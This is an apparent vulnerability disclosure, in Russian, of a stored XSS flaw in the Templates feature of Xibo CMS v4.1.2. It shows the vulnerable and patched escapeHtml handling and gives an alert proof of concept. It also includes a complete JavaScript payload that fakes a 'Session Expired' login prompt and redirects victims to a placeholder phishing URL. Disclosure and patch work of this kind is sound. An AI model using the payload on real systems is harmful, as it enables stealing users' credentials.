
Хранимая межсайтовая уязвимость (XSS) в Xibo CMS от Xibo Signage v4.1.2, вызванная отсутствием надлежащей проверки пользовательского ввода.
Я обнаружил уязвимость Хранимого межсайтового скриптинга (Stored XSS) в Xibo CMS v4.1.2. Эта уязвимость позволяет аутентифицированному злоумышленнику внедрять вредоносные скрипты в приложение из-за некорректной проверки вводимых пользователем данных.
Проблема находится в функциональности «Шаблоны». Злоумышленник может создать шаблон, содержащий текстовый элемент с вредоносной полезной нагрузкой. Когда этот шаблон просматривают другие пользователи, скрипт выполняется в их браузере, что может привести к краже данных или другим вредоносным действиям.
Для эксплуатации уязвимости аутентифицированному пользователю необходимо выполнить следующие шаги:
<script>alert(1337)</script>).В этом разделе представлен конкретный фрагмент кода из Xibo CMS v4.1.2, который не выполняет санитизацию ввода для поля «Text».
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
} else if ($extension !== null) {
В другой строке того же документа.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => $moduleTemplate->extends?->escapeHtml,
],
];
В другом документе.
// Escape HTML
convertedProperties.escapeHtml = template?.extends?.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
В этом разделе показан исправленный код, включающий правильную санитизацию ввода и механизмы кодирования вывода для нейтрализации вредоносных скриптов.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
} else if ($extension !== null) {
В другой строке того же документа.
'extends' => [
'override' => $moduleTemplate->extends?->override,
'with' => $moduleTemplate->extends?->with,
'escapeHtml' => isset($moduleTemplate->extends?->escapeHtml) ?
$moduleTemplate->extends->escapeHtml : 1,
],
];
В другом документе.
// Escape HTML
convertedProperties.escapeHtml =
(template?.extends?.escapeHtml === undefined) ?
true : template.extends.escapeHtml;
// Compile hbs template with data
let hbsHtml = hbsTemplate(convertedProperties);
Сохранённая полезная нагрузка выполняется в контексте браузера жертвы, что может быть использовано для кражи конфиденциальной информации, такой как пароли.
1. Внедрение полезной нагрузки: Злоумышленник вставляет вредоносный скрипт в текстовый элемент внутри шаблона.

Используемый мной скрипт:
<script>
(function() {
// --- MAIN FUNCTION ---
function showRedirectModal() {
// 1. Create the elements
const overlay = document.createElement('div');
const modalContainer = document.createElement('div');
const title = document.createElement('h2');
const message = document.createElement('p');
const redirectButton = document.createElement('button');
// 2. Assign styles and properties
// Style for the dark overlay
Object.assign(overlay.style, {
position: 'fixed', top: '0', left: '0', width: '100%', height: '100%',
backgroundColor: 'rgba(0, 0, 0, 0.75)', zIndex: '10000',
display: 'flex', justifyContent: 'center', alignItems: 'center'
});
// Style for the modal container
Object.assign(modalContainer.style, {
padding: '40px', backgroundColor: '#fff', borderRadius: '8px',
boxShadow: '0 4px 15px rgba(0,0,0,0.2)', width: '320px',
fontFamily: 'Arial, sans-serif'
});
// Style for the title
title.textContent = 'Session Expired';
Object.assign(title.style, {
textAlign: 'center', color: '#333', marginBottom: '15px'
});
message.textContent = 'Your session has expired. Please log in again to continue.';
Object.assign(message.style, {
textAlign: 'center',
color: '#555',
marginBottom: '25px',
lineHeight: '1.5',
fontSize: '16px'
});
// Style for the redirect button
Object.assign(redirectButton.style, {
width: '100%', padding: '12px', border: 'none', borderRadius: '4px',
backgroundColor: '#007bff', color: 'white', fontSize: '16px',
cursor: 'pointer'
});
redirectButton.textContent = 'Log In Again';
// 3. Assemble the modal structure
modalContainer.appendChild(title);
modalContainer.appendChild(message);
modalContainer.appendChild(redirectButton);
overlay.appendChild(modalContainer);
// 4. Add the modal to the page
document.body.appendChild(overlay);
// 5. Define the button's behavior
redirectButton.addEventListener('click', function(e) {
e.preventDefault(); // Buena práctica
const phishingURL = 'http://my-website-example.com/login.html';
window.location.href = phishingURL;
document.body.removeChild(overlay);
});
}
// --- Initialize the function ---
showRedirectModal();
})();
</script>
2. Сценарий атаки: Типичная атака имитирует истечение сессии для захвата учётных данных пользователя. Скрипт захватывает страницу и показывает это всплывающее окно жертве.

Эта информация предоставляется только в образовательных и исследовательских целях. Я НЕ несу ответственности за любое неправомерное использование или ущерб, причинённый этой информацией.